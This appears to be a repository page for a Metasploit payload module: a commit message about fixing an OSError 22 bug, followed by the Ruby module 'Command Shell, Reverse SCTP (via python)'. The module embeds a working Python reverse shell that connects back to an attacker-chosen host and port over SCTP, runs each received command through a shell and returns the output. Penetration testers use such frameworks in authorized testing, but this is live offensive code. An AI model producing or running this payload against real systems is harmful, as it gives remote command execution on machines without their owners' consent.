RageLtMan
ef53e3c52e
Implement reverse shell over SCTP in Python.
During testing against Arch Linux with Python 3.10.9, any attempt
to interact with the resulting shell produced:
```
Traceback (most recent call last):
File "/tmp/shell.py", line 12, in <module>
so.send(o)
OSError: [Errno 22] Invalid argument
```
Implement handling for OSError 22 on the send() method for the
abnormal stream socket.
Testing:
Tested against local KVM virtual machine running Arch Linux
67 lines
1.7 KiB
Ruby
67 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Python
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Command Shell, Reverse SCTP (via python)',
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'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',
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'Author' => 'RageLtMan <rageltman[at]sempervictus>',
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'License' => MSF_LICENSE,
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'Platform' => 'python',
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'Arch' => ARCH_PYTHON,
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'Handler' => Msf::Handler::ReverseSctp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'python',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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super + command_string
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end
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#
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# Returns the command string to use for execution
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#
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def command_string
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cmd = <<~PYTHON
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import socket as s
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import subprocess as r
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so=s.socket(s.AF_INET,s.SOCK_STREAM,132)
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so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
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while True:
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d=so.recv(1024)
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if len(d)==0:
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break
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p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
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o=p.stdout.read()+p.stderr.read()
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try:
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so.send(o)
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except OSError as e:
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if e.errno != 22:
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raise
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PYTHON
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py_create_exec_stub(cmd)
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end
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end
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